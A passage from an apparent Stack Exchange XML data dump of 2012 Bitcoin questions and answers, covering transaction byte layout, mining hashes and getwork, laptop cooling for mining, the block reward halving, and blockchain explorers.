CD 1C BE  A6 E7 45 8A 7A BA D5 12  - pk_script&#xA; A9 D9 EA 1A FB 22 5E 88  AC&#xA;&#xA;Output 2:&#xA; 80 FA E9 C7 00 00 00 00                           - 33.54 BTC (3354000000)&#xA; 19                                                - pk_script is 25 bytes long&#xA;&#xA; 76 A9 14 0E AB 5B EA 43  6A 04 84 CF AB 12 48 5E  - pk_script&#xA; FD A0 B7 8B 4E CC 52 88  AC&#xA;&#xA;Locktime:&#xA; 00 00 00 00                                       - lock time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the really important part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Output 1:&#xA; 40 4B 4C 00 00 00 00 00                           - 0.05 BTC (5000000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that we've used 8 bytes (or 64 bits) worth of hex to represent the amount, in Satoshis (0.00000001 BTC, the smallest possible unit). At peak, approximately 21 million BTC will exist, so that's the most you could possibly have in your wallet, even if you controlled all the bitcoins in the world. the maximum value storable in the standard 9 bytes would be 0xFFFFFFFFFFFFFFFF~=1.84e+19 satoshis or 184,467,440,737 BTC, or about 8,784 times the number of coins that will ever exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the technical upper limit for bitcoins sendable in a single transaction is 4.7e+21 but the functional upper limit is 21 million, since that's all there will ever be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you're using an alt chain that never stops inflating via block rewards, at the standard 50 coins per 10 minute block it would take more than 9 billion years for the entire network to accumulate enough coins to breach that upper limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: There's a limit but you shouldn't ever under any circumstances have to worry about it.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-09-19T18:29:11.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4775" PostTypeId="1" CreationDate="2012-09-19T22:21:27.543" Score="-1" ViewCount="887" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;What exactly is Mining?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;What are the exact computations dies Bitcoin is performing during the mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understood that it has to do something with hashes and proof-of-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as far as I got, here is an idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHA-256(something) = specific string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where specific string starts with some zeros, but what is this something?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-09-20T06:22:31.723" Title="What computations does Btcoin perform during mining?" Tags="|blockchain|hash|" AnswerCount="1" CommentCount="2" ClosedDate="2012-09-20T08:35:18.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="4776" PostTypeId="2" ParentId="4761" CreationDate="2012-09-20T00:47:43.637" Score="0" Body="&lt;p&gt;If mining becomes unprofitable in the short tern then bitcoin certainly could dwindle into obscurity. I believe this is highly unlikely. Have you seen the bitcoin prices lately!? New FPGA and ASIC technology on the horizon will secure miners at least a small profit for a long time to come. &lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2012-09-20T00:47:43.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4777" PostTypeId="2" ParentId="4775" CreationDate="2012-09-20T06:21:21.320" Score="1" Body="&lt;p&gt;Bitcoin hashes the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers&quot; rel=&quot;nofollow&quot;&gt;block headers&lt;/a&gt; through SHA-256(SHA-256(header)) hashing. The result of that hash has to be smaller than the current &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow&quot;&gt;target&lt;/a&gt;, which is commonly represented by &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those computations are performed many, many times during mining, so there are some slight optimisations for the process. Namely, the use of &lt;a href=&quot;https://bitcointalk.org/?topic=2416.0&quot; rel=&quot;nofollow&quot;&gt;midstate&lt;/a&gt;. Generally, before the header can be hashed, it needs to be split in half due to the SHA-256 algorithm (which operates on data smaller than the header). Half of that data does not change with iterations over the nonce, so it is useful to calculate the midstate of that half of the hashing to use in the algorithm, saving you some computational time during each check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asides from that, there is more complexity to it (ah, the damned endianness and so forth), but this should make things clearer for you.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-20T06:21:21.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4778" PostTypeId="1" AcceptedAnswerId="4779" CreationDate="2012-09-20T07:26:19.867" Score="5" ViewCount="2466" Body="&lt;p&gt;I would like to know exactly where I should put my extra cooling fans around my laptop so that I can more efficiently cool while I mine bitcoins.  I realize this is not optimal at the moment, but before I invest in a rig I want to try it out with my laptop (but without overheating anything of course).  Is there a reason why my CPU is getting so hot while my GPU is comfortable even while I'm GPU mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location like top-right, bottom-right, etc (w/r/t looking down on keyboard) is very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what would be the best way to cool the BitForce Jalapeno?  Could I just use a simple fan in a well ventilated area?&lt;/p&gt;&#xA;" OwnerUserId="1913" LastEditorUserId="5406" LastEditDate="2016-03-17T14:44:35.540" LastActivityDate="2016-03-17T14:44:35.540" Title="Cooling for an XPS 15 (L502x) laptop during Bitcoin Mining" Tags="|mining-hardware|gpu-mining|mining-setup|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4779" PostTypeId="2" ParentId="4778" CreationDate="2012-09-20T08:08:43.650" Score="3" Body="&lt;p&gt;Mining on a GPU, especially on less powerful ones like the ones found in laptops is highly inefficient. You can find out exactly how much you can potentially earn or lose from various Bitcoin calculators, like &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;mine for example&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about overheating your laptop and just want to test what mining is all about, you could also lower your hashrate, for example by introducing pauses in the miner. Most mining software should be supporting this feature, so you ought to look at the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware specific question are probably best asked on different StackExchanges. You could just ask &quot;where is my GPU on my laptop and how best to cool it?&quot;&#xA;, which isn't Bitcoin-specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you want to ask about cooling of BitForce Jalapeno, why not post a separate question with that topic? The more specific question, the better.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-20T08:08:43.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4780" PostTypeId="2" ParentId="1449" CreationDate="2012-09-20T09:47:30.377" Score="5" Body="&lt;p&gt;I think you can install the libdb4.8++-dev package if you add the stable debian repo in your sources.list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it on my system (debian sid), and now I can proceed to the installation.  I haven't tested the full bitcoind compilation yet, though.&lt;/p&gt;&#xA;" OwnerUserId="1914" LastActivityDate="2012-09-20T09:47:30.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4781" PostTypeId="2" ParentId="4738" CreationDate="2012-09-20T11:55:16.263" Score="0" Body="&lt;p&gt;A wallet is used by a client to store Bitcoin Addresses. The standard client can be ran in a server mode, which will allow it to take HTTP JSON RPC commands. One of them is &quot;getwork&quot; - a standard command used by miners to get data to hash. The standard client creates new blocks crediting one of the addresses in its wallet with the block reward. A miner can submit finished work to the client to help it solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution is not ideal for most miners, as the use of pools as an intermediary between a client and a miner allow the block reward to be split between them.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-20T11:55:16.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4782" PostTypeId="1" AcceptedAnswerId="4787" CreationDate="2012-09-20T16:18:14.073" Score="5" ViewCount="1648" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1378/1878&quot;&gt;this answer&lt;/a&gt; GetWork() sends &quot;a chunk of data containing the block data, including the randomized bits, and the nonce (the bit which the miner changes).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide details on that logic?  For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What transactions are included and which aren't?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What ordering of transactions occur?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it likely that multiple solo or pooled miners are mining a different set of transactions?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If latency (or bad network connectivity)  were to cause transactions to be delayed, and added to a fork that is discarded, will they be re-added to the next GetWork() request?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-03-16T08:49:00.697" Title="What are the internal details of GetWork() .. the foundation of Bitcoin mining?" Tags="|protocol|getwork|mining-technical-details|transaction-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4783" PostTypeId="2" ParentId="4778" CreationDate="2012-09-20T22:20:36.690" Score="1" Body="&lt;p&gt;You should be able to monitor your GPU temperature with &lt;a href=&quot;http://www.ozone3d.net/gpu_caps_viewer/&quot; rel=&quot;nofollow&quot;&gt;GPU Caps Viewer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that different GPUs have different safe ranges for temperature, but in my understanding a general rule is that if the GPU fan isn't running full tilt then you aren't about to overheat your GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the Windows Task Manager to view the CPU load. When mining with a GPU, it shouldn't be using more than a few % of your CPU cycles. I do remember over a year ago there was an issue with some mining software using 100% CPU; you may just need to run a different miner.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-09-20T22:20:36.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4784" PostTypeId="1" AcceptedAnswerId="4785" CreationDate="2012-09-20T22:24:52.513" Score="1" ViewCount="301" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4601/how-can-i-read-information-from-the-blockchain&quot;&gt;How can I read information from the blockchain?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Can anyone tell me from where exactly sites like &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinmonitor.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bitcoinmonitor.com/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockchain.info/&lt;/a&gt;&#xA;can't post more links&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;take their information.&#xA;How bitcoinmonitor knows what transactions have been done right now?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-09-21T06:35:56.370" Title="how http://blockchain.info/, http://blockexplorer.com/q or http://www.bitcoinmonitor.com/ works" Tags="|transactions|blockchain|block|" AnswerCount="2" CommentCount="0" ClosedDate="2012-11-25T02:30:21.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostTypeId="2" ParentId="4784" CreationDate="2012-09-21T00:12:42.440" Score="2" Body="&lt;p&gt;They monitor the public blockchain from multiple Bitcoin servers. There's a very simple rule for which chain is valid -- whatever chain has the most work is the valid one.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-09-21T00:12:42.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostTypeId="1" CreationDate="2012-09-21T00:50:01.047" Score="2" ViewCount="2697" Body="&lt;p&gt;I'm playing around with litecoin mining and have been mining at a pool but decided to mine solo using &lt;a href=&quot;https://github.com/ckolivas/cgminer/&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I mine at pools the amount of shares submitted to the pool sinks dramatically when I crank up the intensity (180 khash/s at intensity 11 compared to 20 khash/s at intensity 15). This is the same no matter which pool I'm on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to cgminer the khash/s go up as would be expected when intensity is upped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For solo I really want to know if just the &lt;em&gt;submitted&lt;/em&gt; amount of shares goes down for some reason or if a higher intensity really somehow ups the khash/s but lowers the submitted shares. cgminer's output is not easily checked for this.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2013-01-31T01:52:00.353" Title="(litecoin) High hashrate but low amount of submitted shares in solo" Tags="|litecoin|hashpower|solo-mining|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostTypeId="2" ParentId="4782" CreationDate="2012-09-21T06:32:10.590" Score="1" Body="&lt;p&gt;You can find some examples of the GetWork protocol &lt;a href=&quot;https://bitcointalk.org/index.php?topic=51281.msg611090#msg611090&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the pool provides a block header that is to be hashed with various nonces, as well as some additional information, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hash1, which is always &quot;0000000000000000000000000000000000000000000000000000000000000000000000800000000 0000000000000000000000000000000000000000000010000&quot;&lt;/li&gt;&#xA;&lt;li&gt;midstate (deprecated), a value calculated by hashing half of the block header, used to speed up the process. Midstate is deprecated, as it is redundant data that can be calculated by the miner.&lt;/li&gt;&#xA;&lt;li&gt;target - the target that is to be used to determine if the header is hashed correctly&lt;/li&gt;&#xA;&lt;li&gt;Various other &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;protocol extensions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The pool has to keep a track of the various block headers sent, as well as their corresponding blocks.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generally, the transactions that are included in the block are all the transactions that the pool knows about (with some exceptions, for example some pools exclude 0 fee transactions altogether).&lt;/li&gt;&#xA;&lt;li&gt;The order of the transactions can be random, but the coinbase transaction is most often the first transaction in the block.&lt;/li&gt;&#xA;&lt;li&gt;Most miners will work on different sets of transactions, but most often it will just differ by the coinbase transaction or their order.&lt;/li&gt;&#xA;&lt;li&gt;If a transaction is included in a block that gets overwritten by a fork it will be be treated as a new transaction to be considered for inclusion in the block. Provided there was no double-spend attempt, it should be included in the future blocks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-21T06:32:10.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4788" PostTypeId="2" ParentId="4784" CreationDate="2012-09-21T06:35:56.370" Score="1" Body="&lt;p&gt;You can get most of the information provided by those services through the use of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API&lt;/a&gt;. You might need to do some bookkeeping (for tracking transaction details and so forth), but it shouldn't be too hard. Other information needs to be extracted using additional tools, for example some packet sniffers for discovering transaction's relaters' IPs and so forth.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-21T06:35:56.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4789" PostTypeId="1" AcceptedAnswerId="4791" CreationDate="2012-09-21T18:27:36.023" Score="3" ViewCount="138" Body="&lt;p&gt;Suppose it was possible to influence a miner to create many forks.  My understanding is that a miner &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3132/1878&quot;&gt;won't retransmit the fork, but will track it internally&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Where is this information saved in a miner (disk, RAM, etc)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What protections exist to protect a miner from a resource depletion attack due to forking?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-03-16T09:02:46.083" Title="Could many large forks cause a DoS attack on the miner?" Tags="|protocol|blockchain-fork|mining-software|getwork|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4790" PostTypeId="2" ParentId="4789" CreationDate="2012-09-21T19:27:13.110" Score="1" Body="&lt;p&gt;A valid block that is orphaned is just as expensive to create as a block on top of the longest chain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes no economic sense to create a block that has almost no chance of becoming the longest chain.  Today, that costs maybe $500 per block for electricity and amortized capital to solve a block.  And to DDoS you would need many many blocks, so you'ld likely be expending millions of dollars before any developers would even need to start worrying about mitigation, if there were truly a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit: Also see ThePiachu's comment about the checkpoint protecting against new forks emerging for blocks back when there was a low difficulty.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-22T08:11:53.477" LastActivityDate="2012-09-22T08:11:53.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4791" PostTypeId="2" ParentId="4789" CreationDate="2012-09-21T19:53:49.720" Score="3" Body="&lt;p&gt;If you mean a miner as in a computer that only does mining, it should be generally as resistant to DOS attacks as any casual computer on the network - it doesn't open its ports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about a standard client being flooded with many blocks and having to store it - the developers did think of that and they put in the checkpoint system. Basically, making a lot of forks of the new blocks would require a lot of computational power and so forth, so it is highly unlikely. However, changing some of the earliest blocks in existence would be dirt cheap nowadays. However, the standard client will not accept any block chain forks that branch out from blocks older than the most recent checkpoint.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-21T19:53:49.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4793" PostTypeId="1" CreationDate="2012-09-22T00:16:01.260" Score="2" ViewCount="1612" Body="&lt;p&gt;My client is still syncing, so I've been checking my transactions on &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;.  It only shows two transactions although I know I should have more than that when I search my address.  I'm new to bitcoin, so I'm not 100% sure how it works.&lt;/p&gt;&#xA;" OwnerUserId="1923" LastEditorUserId="132" LastEditDate="2012-09-23T14:57:21.740" LastActivityDate="2012-09-23T14:57:21.740" Title="Does blockchain.info show all transactions?" Tags="|transactions|blockchain|blockchain.info|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostTypeId="2" ParentId="4793" CreationDate="2012-09-22T05:44:42.770" Score="2" Body="&lt;p&gt;Blockchain.info should have all the transaction information for any and all transaction that were included in blocks. It usually also has a lot of information about transactions that are not a part of the block yet, but due to the nature of message propagation in the Bitcoin network, it is possible that they might not see some of them before they are a part of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if your transactions are really fresh, blockchain.info should see them, but it's not a guarantee. If they are older, it should display them correctly. And as is always the case, some errors can occur on the software side of things.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-22T05:44:42.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostTypeId="2" ParentId="4793" CreationDate="2012-09-22T08:06:30.350" Score="2" Body="&lt;p&gt;Blockchain.info doesn't know what addresses are in your Wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search on a single address or for a single transaction, but that won't know what your wallet balance is, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a tool in BlockChain.info/wallet that can sync your Bitcoin.org wallet with your wallet on BlockChain.info/wallet, however that requires configuring your Bitcoin.org client a certain way.  But once that is enabled, then BlockChain.info/wallet will show all the same transactions that your Bitcoin.org client will show.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-22T08:06:30.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4796" PostTypeId="1" AcceptedAnswerId="4802" CreationDate="2012-09-22T12:07:39.243" Score="14" ViewCount="8879" Body="&lt;p&gt;Sometime around the end of 2012 the mining reward is expected to be cut in half from 50BTC/block to 25BTC/block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What effect will this have? Doesn't this mean that it will be less economic to run a Bitcoin miner? Will the hashing power be severely reduced? Will BTC prices soar (or alternatively, crash)?&lt;/p&gt;&#xA;" OwnerUserId="1757" LastEditorUserId="5406" LastEditDate="2016-03-07T10:36:27.453" LastActivityDate="2016-03-07T10:36:27.453" Title="What happens once the mining reward gets cut in half?" Tags="|economic-theory|mining-profitability|mining-reward|hashpower|reward-schedule|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostTypeId="2" ParentId="4796" CreationDate="2012-09-22T15:33:40.390" Score="0" Body="&lt;p&gt;Probably not much will change. The pools might be less inclined to take zaro fee transactions, price might go up, etc. As the drop is long planned, no panic should occur, and people shouldn't be making sudden changes. However, only time will tell in the end, and this question solicits speculation...&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-22T15:33:40.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4798" PostTypeId="2" ParentId="4796" CreationDate="2012-09-22T16:09:34.403" Score="1" Body="&lt;p&gt;Assuming miners don't currently make a big margin, when the bitcoin supply will be divided by 2, so will the global amount of money they devote to bitcoin mining. In practice this means that several miners will stop mining, for the activity is no more profitable to them. So, if it was not fluctuating so wildly, you could expect the total hashing power be divided by two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's no reason for the value of bitcoin to change, unless some think the decrease in hashing power could be a threat for the bitcoin network security (which I don't think could be relevant in 2012). Contrarily to the potentially sharp decrease in hashing power, a decrease in value due to this threat would be anticipated long in advance.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2012-09-22T16:32:12.417" LastActivityDate="2012-09-22T16:32:12.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4799" PostTypeId="1" AcceptedAnswerId="4808" CreationDate="2012-09-22T16:52:44.627" Score="12" ViewCount="9721" Body="&lt;p&gt;What are the authoritative sources for historic Bitcoin prices? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally this will be an API for all major exchanges.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="37414" LastEditDate="2018-05-08T16:06:32.893" LastActivityDate="2018-05-08T16:06:32.893" Title="Need authoritative source for historic Bitcoin conversion prices from all exchanges" Tags="|exchanges|api|exchange-rate|historical-trade-data|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4800" PostTypeId="1" CreationDate="2012-09-22T18:43:54.923" Score="4" ViewCount="4698" Body="&lt;p&gt;Have preferences for service. Desirable that machine hosted in nation disagreeable with United States. Standard linux images available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will create webpage which lists links to youtube videos, expect accusations of copyright infringement. Good if host tells Hollywood companies where to stuff court papers. Service in Russia, former Bloc nations, China all good. &lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2013-10-21T18:41:58.633" Title="Who to rent virtual private server from accepts bitcoin?" Tags="|services|" AnswerCount="4" CommentCount="0" ClosedDate="2013-10-31T08:40:41.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="4801" PostTypeId="2" ParentId="4799" CreationDate="2012-09-22T18:44:51.873" Score="3" Body="&lt;p&gt;At the bottom of that linked google docs spreadsheet are instructions to download data from Mt Gox and many other Exchanges. Namely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to this link: &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#tgSzm1g10zm2g25zv&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/mtgoxUSD#tgSzm1g10zm2g25zv&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click load raw data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This raw data only maintains daily prices.  This is probably the closing price for the day, but I can't be sure of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how bitcoin charts actually collects this information from the other providers.  I hope other &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-09-22T18:44:51.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4802" PostTypeId="2" ParentId="4796" CreationDate="2012-09-22T19:15:28.420" Score="6" Body="&lt;p&gt;Assuming blocks are solved at the targeted rate of one block every six minutes going forward from today, the date the block block reward subsidy drop will occur happens in late November.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitcoinClock.com&quot;&gt;http://www.BitcoinClock.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently the target rate is 7,200 BTC per day.  Starting with block 210,000, this will drop to a targeted rate of 3,600 BTC per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This event has been known (and anticipated) since Bitcoin was first released to the world in 2009.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether this will cause the exchange rate to rise or fall or the amount of hashing power to rise or fall is mostly speculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If investors are counting on the price going up, maybe to $20 let's say, and instead it sticks at around $12, then maybe they sell as it didn't deliver the gains they were hoping for.  So the lowered new supply of coins doesn't necessarily guarantee a corresponding rise in the exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of hashing that occurs will roughly approximate miner's profitability.  As long as miners can mine profitably, they will continue to mine.  If their revenue drops by half but it still exceeds the cost of electricity and other operating costs, then they will leave the equipment operating, bringing in mined coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those miners whose costs put them among the least profitable will likely be forced to drop out.  These are those who currently mine with a GPU and pay avergage (e.g., $0.12 per kWh) or above average electric rates.   Unless the future exchange rate rises faster than difficulty from here, come block 210,000, possibly 50% or more of GPU miners will be dropping out -- either immediately if the have done the math, or within weeks when the total revenue calculation for the first month after the drop gets matched up against the monthly electric bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FPGA miners operate 5X or more efficiently in terms of electrical consumption so they are still producing positive cash flows and thus most will continue mining even after the drop.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-22T19:20:46.510" LastActivityDate="2012-09-22T19:20:46.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4803" PostTypeId="1" AcceptedAnswerId="4807" CreationDate="2012-09-22T19:50:30.110" Score="5" ViewCount="375" Body="&lt;p&gt;I'm trying to follow the logical sequence of how &lt;a href=&quot;https://github.com/thallium205/BitcoinVisualizer&quot; rel=&quot;nofollow&quot;&gt;Blockviewer&lt;/a&gt; works and only see this &lt;a href=&quot;https://web.archive.org/web/20141225133954/http://toolongdidntread.com/bitcoin/the-bitcoin-social-network-part-1/&quot; rel=&quot;nofollow&quot;&gt;one blog entry for the process&lt;/a&gt;, but no &quot;part 2&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone describe the techniques to link a wallet address to the owner?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="14915" LastEditDate="2016-03-24T11:02:28.183" LastActivityDate="2016-03-24T11:02:28.183" Title="How does Blockviewer work? (tool to discover identities of &quot;anonymous&quot; bitcoin transactions)" Tags="|wallet|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
